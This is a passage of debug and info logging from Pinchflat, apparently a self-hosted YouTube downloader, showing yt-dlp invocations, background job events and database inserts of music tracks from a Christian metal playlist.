/usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=q54TGP8MxWo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/33/f5/33f5648ddcf0e0b79aa78765fd7861d92cb891efd06e347ee78d6ba281492790.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] q54TGP8MxWo: Video unavailable. This video is not available 22:20:35.164 [error] yt-dlp download error for media item #202: "ERROR: [youtube] q54TGP8MxWo: Video unavailable. This video is not available\n" 22:20:35.164 [error] yt-dlp download will not be retried: "ERROR: [youtube] q54TGP8MxWo: Video unavailable. This video is not available\n" 22:20:35.308 [info] {"args":{"force":true,"id":2},"id":185,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":35463797,"event":"job:stop","queue_time":825830,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 22:20:35.330 [debug] QUERY OK source="settings" db=179.6ms idle=32.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:35.725 [info] {"args":{"id":201},"id":199,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":6279722,"event":"job:stop","queue_time":8851717,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:35.726 [debug] QUERY OK source="media_items" db=574.7ms idle=180.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by IIP-DDS\n\nAgainst the Grain · Diviner\n\nRealms of Time\n\n℗ Ulterium Records\n\nReleased on: 2019-06-07\n\nArtist: Diviner\n\nAuto-generated by YouTube.", "Against the Grain", "2cf991f8-5ed3-46d8-bf29-6f60b1329803", false, "6vEEoQRXmPU", 267, false, "https://www.youtube.com/watch?v=6vEEoQRXmPU", 26, "/downloads/ChristianMetal/ChristianMetal/2019-06-06Against the Grain[6vEEoQRXmPU].m4a", false, false, 5, [], 2, ~U[2019-06-06 10:24:08Z], ~U[2026-07-24 02:20:35Z], ~U[2026-07-24 02:20:35Z], "Provided to YouTube by IIP-DDS\n\nAgainst the Grain · Diviner\n\nRealms of Time\n\n℗ Ulterium Records\n\nReleased on: 2019-06-07\n\nArtist: Diviner\n\nAuto-generated by YouTube.", "Against the Grain", "6vEEoQRXmPU", 267, false, "https://www.youtube.com/watch?v=6vEEoQRXmPU", "/downloads/ChristianMetal/ChristianMetal/2019-06-06Against the Grain[6vEEoQRXmPU].m4a", false, 5, ~U[2019-06-06 10:24:08Z]] 22:20:35.726 [info] {"args":{"id":202},"id":200,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":5453604,"event":"job:stop","queue_time":10365830,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:35.876 [debug] QUERY OK source="settings" db=151.7ms queue=0.4ms idle=416.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:35.877 [debug] QUERY OK source="sources" db=0.9ms queue=150.1ms idle=1.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:35.878 [info] Sent 200 in 1037ms 22:20:35.878 [info] {"args":{"force":true,"id":4},"id":192,"meta":{},"system_time":1784859635877452505,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 22:20:36.057 [debug] QUERY OK source="media_items" db=179.5ms queue=0.1ms idle=1.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2015-01-02 15:02:33Z], 5] 22:20:36.058 [debug] QUERY OK source="sources" db=179.2ms queue=0.1ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:36.058 [info] {"args":{"id":356},"id":202,"meta":{},"system_time":1784859636057988089,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:36.058 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=179.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:36.058 [debug] QUERY OK source="media_items" db=0.5ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [356] 22:20:36.059 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:36.059 [debug] QUERY OK source="media_items" db=0.5ms idle=0.9ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 22:20:36.217 [debug] QUERY OK source="media_items" db=159.3ms queue=0.1ms idle=180.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nThrough Struggle · As I Lay Dying\n\nThis Is Who We Are\n\n℗ 2009 Metal Blade Records, Inc.\n\nReleased on: 2009-04-14\n\nAuto-generated by YouTube.", "Through Struggle", "694b5a0d-fa15-4c94-be52-46473396f0dc", false, "TjYKR_oBTrk", 264, false, "https://www.youtube.com/watch?v=TjYKR_oBTrk", 27, "/downloads/ChristianMetal/ChristianMetal/2015-01-02Through Struggle[TjYKR_oBTrk].m4a", false, false, 5, [], 1, ~U[2015-01-02 15:02:33Z], ~U[2026-07-24 02:20:36Z], ~U[2026-07-24 02:20:36Z], "Provided to YouTube by The Orchard Enterprises\n\nThrough Struggle · As I Lay Dying\n\nThis Is Who We Are\n\n℗ 2009 Metal Blade Records, Inc.\n\nReleased on: 2009-04-14\n\nAuto-generated by YouTube.", "Through Struggle", "TjYKR_oBTrk", 264, false, "https://www.youtube.com/watch?v=TjYKR_oBTrk", "/downloads/ChristianMetal/ChristianMetal/2015-01-02Through Struggle[TjYKR_oBTrk].m4a", false, 5, ~U[2015-01-02 15:02:33Z]] 22:20:36.218 [debug] QUERY OK source="sources" db=0.2ms idle=158.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:36.218 [debug] QUERY OK source="media_items" db=0.1ms idle=0.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2015-10-17 23:03:24Z], 5] 22:20:36.243 [debug] QUERY OK source="sources" db=183.9ms queue=0.2ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:36.243 [debug] QUERY OK source="media_items" db=183.9ms idle=0.7ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [4] 22:20:36.244 [debug] QUERY OK source="media_profiles" db=0.4ms idle=24.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:36.244 [debug] QUERY OK source="media_profiles" db=0.6ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:36.380 [debug] QUERY OK source="media_items" db=136.4ms queue=0.4ms idle=24.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nRelief · Wolves At The Gate\n\nVxv\n\n℗ 2014 Solid State Records\n℗ 2015 Solid State Records\n\nReleased on: 2014-06-10\n\nAuto-generated by YouTube.", "Relief", "4f848a06-cb79-4414-9b6a-5cd70504afef", false, "vF9r6CoZgnQ", 233, false, "https://www.youtube.com/watch?v=vF9r6CoZgnQ", 28, "/downloads/ChristianMetal/ChristianMetal/2015-10-17Relief[vF9r6CoZgnQ].NA", false, false, 5, [], 1, ~U[2015-10-17 23:03:24Z], ~U[2026-07-24 02:20:36Z], ~U[2026-07-24 02:20:36Z], "Provided to YouTube by The Orchard Enterprises\n\nRelief · Wolves At The Gate\n\nVxv\n\n℗ 2014 Solid State Records\n℗ 2015 Solid State Records\n\nReleased on: 2014-06-10\n\nAuto-generated by YouTube.", "Relief", "vF9r6CoZgnQ", 233, false, "https://www.youtube.com/watch?v=vF9r6CoZgnQ", "/downloads/ChristianMetal/ChristianMetal/2015-10-17Relief[vF9r6CoZgnQ].NA", false, 5, ~U[2015-10-17 23:03:24Z]] 22:20:36.380 [debug] QUERY OK source="media_items" db=135.8ms idle=0.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [356] 22:20:36.380 [debug] QUERY OK source="settings" db=0.2ms queue=0.2ms idle=136.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:36.380 [debug] QUERY OK source="sources" db=0.2ms idle=136.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:36.380 [debug] QUERY OK source="media_items" db=0.1ms idle=136.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-06-13 10:00:30Z], 5] 22:20:36.381 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 22:20:36.381 [debug] Current batch of media processed. Will check again in 1000ms 22:20:36.381 [debug] QUERY OK source="media_metadata" db=0.2ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [356] 22:20:36.381 [debug] QUERY OK source="settings" db=0.2ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:36.382 [debug] QUERY OK source="settings" db=0.3ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:36.382 [debug] QUERY OK source="media_profiles" db=0.5ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:36.549 [debug] QUERY OK source="media_items" db=167.8ms idle=1.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nMeridian · August Burns Red\n\nConstellations (Remixed)\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-06-14\n\nAuto-generated by YouTube.", "Meridian", "f30cb151-12f2-430d-bcaf-b12af36bda06", false, "KuYc0SyH5hc", 358, false, "https://www.youtube.com/watch?v=KuYc0SyH5hc", 29, "/downloads/ChristianMetal/ChristianMetal/2019-06-13Meridian[KuYc0SyH5hc].NA", false, false, 5, [], 3, ~U[2019-06-13 10:00:30Z], ~U[2026-07-24 02:20:36Z], ~U[2026-07-24 02:20:36Z], "Provided to YouTube by The Orchard Enterprises\n\nMeridian · August Burns Red\n\nConstellations (Remixed)\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-06-14\n\nAuto-generated by YouTube.", "Meridian", "KuYc0SyH5hc", 358, false, "https://www.youtube.com/watch?v=KuYc0SyH5hc", "/downloads/ChristianMetal/ChristianMetal/2019-06-13Meridian[KuYc0SyH5hc].NA", false, 5, ~U[2019-06-13 10:00:30Z]] 22:20:36.549 [debug] QUERY OK source="settings" db=1.1ms queue=166.4ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:36.550 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=167.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:36.550 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=167.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:36.550 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://m.youtube.com/playlist?list=PL_trH6zRu85MiR6b3-tcyGRhzHeom4P8c --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Grift/Grift/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c5/2c/c52ce29fcb53614fbf4be60f308b4e877f4e3797f72583ce2d58084d93d3128d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:36.550 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:36.550 [debug] QUERY OK source="media_items" db=0.2ms idle=168.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-01-26 02:13:13Z], 5] 22:20:36.551 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:36.551 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:36.551 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:36.551 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Y9oLpJIjNEU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/12/82/1282c198a3c0639a1357af2be2177167a124d4d18f3100a184aa05f50c651ea9.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:36.696 [debug] QUERY OK source="media_items" db=145.1ms idle=1.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nAncient Waters · Fit For A King\n\nDescendants - Redux\n\n℗ 2013 Solid State Records\n\nReleased on: 2013-11-25\n\nAuto-generated by YouTube.", "Ancient Waters", "a0ae9bbb-2999-4fae-a2fd-cf62cba39a36", false, "xSWL3L9FnQ4", 236, false, "https://www.youtube.com/watch?v=xSWL3L9FnQ4", 30, "/downloads/ChristianMetal/ChristianMetal/2017-01-26Ancient Waters[xSWL3L9FnQ4].NA", false, false, 5, [], 2, ~U[2017-01-26 02:13:13Z], ~U[2026-07-24 02:20:36Z], ~U[2026-07-24 02:20:36Z], "Provided to YouTube by The Orchard Enterprises\n\nAncient Waters · Fit For A King\n\nDescendants - Redux\n\n℗ 2013 Solid State Records\n\nReleased on: 2013-11-25\n\nAuto-generated by YouTube.", "Ancient Waters", "xSWL3L9FnQ4", 236, false, "https://www.youtube.com/watch?v=xSWL3L9FnQ4", "/downloads/ChristianMetal/ChristianMetal/2017-01-26Ancient Waters[xSWL3L9FnQ4].NA", false, 5, ~U[2017-01-26 02:13:13Z]] 22:20:36.718 [debug] QUERY OK source="sources" db=0.4ms queue=21.2ms idle=146.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:36.719 [debug] QUERY OK source="media_items" db=0.3ms idle=167.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-03-28 10:00:06Z], 5] 22:20:36.910 [debug] QUERY OK source="media_items" db=190.7ms idle=167.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nIt's Okay (feat. Matt Baird) · Death Therapy · Matt Baird\n\nIt's Okay\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-03-29\n\nAuto-generated by YouTube.", "It's Okay (feat. Matt Baird)", "36ceb9c9-eefe-45a0-a4c7-dd6ea880fc48", false, "aBMcLtW4J1w", 221, false, "https://www.youtube.com/watch?v=aBMcLtW4J1w", 31, 